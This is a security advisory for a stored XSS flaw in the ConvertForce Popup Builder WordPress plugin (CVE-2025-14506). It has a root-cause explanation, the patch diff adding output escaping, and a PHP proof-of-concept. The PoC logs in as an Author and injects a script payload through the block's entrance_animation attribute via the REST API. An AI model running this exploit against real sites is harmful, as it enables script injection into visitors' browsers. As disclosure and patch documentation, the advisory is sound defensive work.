Atomic Edge analysis of CVE-2025-14506:
This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the ConvertForce Popup Builder WordPress plugin. The Gutenberg block’s `entrance_animation` attribute lacks proper output escaping, allowing authenticated attackers with Author-level access or higher to inject malicious scripts. These scripts execute when any user views a compromised page. The CVSS score of 6.4 reflects a moderate severity risk.
The root cause is insufficient output escaping in the plugin’s block rendering function. In the vulnerable file `convertforce-popup-builder/inc/Blocks/Conversion.php`, the `entrance_animation[‘name’]` value is directly concatenated into an HTML class attribute on line 47 without sanitization. The `get_closer_html` function also directly outputs user-controlled `text` property values on line 82 without escaping.
Exploitation requires an authenticated attacker with at least Author privileges to edit a post or page using the WordPress block editor. The attacker inserts a ConvertForce Popup block and sets the `entrance_animation` attribute to a malicious string like `”>alert(document.domain)`. Alternatively, they can inject JavaScript via the closer `text` property. The payload is saved to the database and executes whenever the page loads for any visitor.
The patch adds proper output escaping in two locations. In `Conversion.php` line 47, the plugin now wraps `$entrance_animation[‘name’]` with `esc_attr()` before concatenation, ensuring safe inclusion in HTML attributes. On line 82, the closer text property is escaped with `esc_html()` before output. These changes prevent script execution by converting special characters to their HTML entities.
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the injected page. This can lead to session hijacking, administrative actions performed by victims, content defacement, or redirection to malicious sites. The stored nature means the attack persists across sessions and affects all visitors until the malicious content is removed.
--- a/convertforce-popup-builder/convertforce-popup-builder.php
+++ b/convertforce-popup-builder/convertforce-popup-builder.php
@@ -5,7 +5,7 @@
* Plugin Name: ConvertForce Popup Builder
* Plugin URI: https://convertforce.com/
* Description: A plugin for converting visitors to customers.
- * Version: 0.0.7
+ * Version: 0.0.8
* Author: DotCamp
* Author URI: https://dotcamp.com/
* License: GPL-3.0+
@@ -15,7 +15,7 @@
if (!defined('ABSPATH')) exit;
-define('CONVERTFORCE_VERSION', '0.0.7');
+define('CONVERTFORCE_VERSION', '0.0.8');
define('CONVERTFORCE_FILE', __FILE__);
define('CONVERTFORCE_DIR', __DIR__);
define('CONVERTFORCE_URL', rtrim(plugin_dir_url(__FILE__), '/'));
--- a/convertforce-popup-builder/inc/Blocks/Conversion.php
+++ b/convertforce-popup-builder/inc/Blocks/Conversion.php
@@ -44,7 +44,7 @@
if ($type === 'light_box') {
$light_box_backdrop = '<div class="convertforce-conversion-light_box-backdrop"></div>';
} else if ($type === 'slide_in' && isset($entrance_animation['name'])) {
- $innerClassName .= ' cvf-animation-open__' . $entrance_animation['name'];
+ $innerClassName .= ' cvf-animation-open__' . esc_attr($entrance_animation['name']);
}
$closer = self::get_closer_html($attributes['closer'] ?? []);
@@ -79,7 +79,7 @@
return '';
}
$style = self::get_closer_style($props);
- $content = $props['text'] ?? '';
+ $content = esc_html($props['text'] ?? '');
if ($props['type'] === 'icon') {
$content = file_get_contents(CONVERTFORCE_DIR . '/assets/icons/times-bold.svg');
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14506 - ConvertForce Popup Builder <= 0.0.7 - Stored Cross-Site Scripting via entrance_animation
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/post.php';
$username = 'attacker_author';
$password = 'author_password';
$post_id = 123; // Target post ID to edit
// Payload to inject via entrance_animation attribute
$xss_payload = '"><script>alert("Atomic Edge XSS Test: "+document.domain)</script>';
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
$login_url = 'http://vulnerable-wordpress-site.com/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '?post=' . $post_id . '&action=edit',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Step 2: Extract nonce from edit page
curl_setopt($ch, CURLOPT_URL, $target_url . '?post=' . $post_id . '&action=edit');
curl_setopt($ch, CURLOPT_POST, false);
$edit_page = curl_exec($ch);
// Extract nonce (simplified - real implementation needs proper parsing)
preg_match('/"nonce":"([a-f0-9]+)"/', $edit_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
// Step 3: Construct malicious block JSON with XSS payload
$malicious_block = [
'blockName' => 'convertforce/conversion',
'attrs' => [
'entrance_animation' => [
'name' => $xss_payload,
'duration' => '0.5'
],
'type' => 'slide_in'
],
'innerBlocks' => [],
'innerHTML' => '',
'innerContent' => []
];
// Step 4: Update post with malicious block
$update_url = 'http://vulnerable-wordpress-site.com/wp-json/wp/v2/posts/' . $post_id;
$update_data = [
'content' => '<!-- wp:convertforce/conversion ' . json_encode($malicious_block['attrs']) . ' /-->',
'_wpnonce' => $nonce
];
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($update_data));
$update_response = curl_exec($ch);
// Step 5: Verify payload was saved
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.com/?p=' . $post_id);
curl_setopt($ch, CURLOPT_POST, false);
$final_page = curl_exec($ch);
if (strpos($final_page, $xss_payload) !== false) {
echo "[+] XSS payload successfully injected into post ID: $post_idn";
echo "[+] Visit http://vulnerable-wordpress-site.com/?p=$post_id to trigger executionn";
} else {
echo "[-] Injection failed. Check authentication and nonce.n";
}
curl_close($ch);
?>
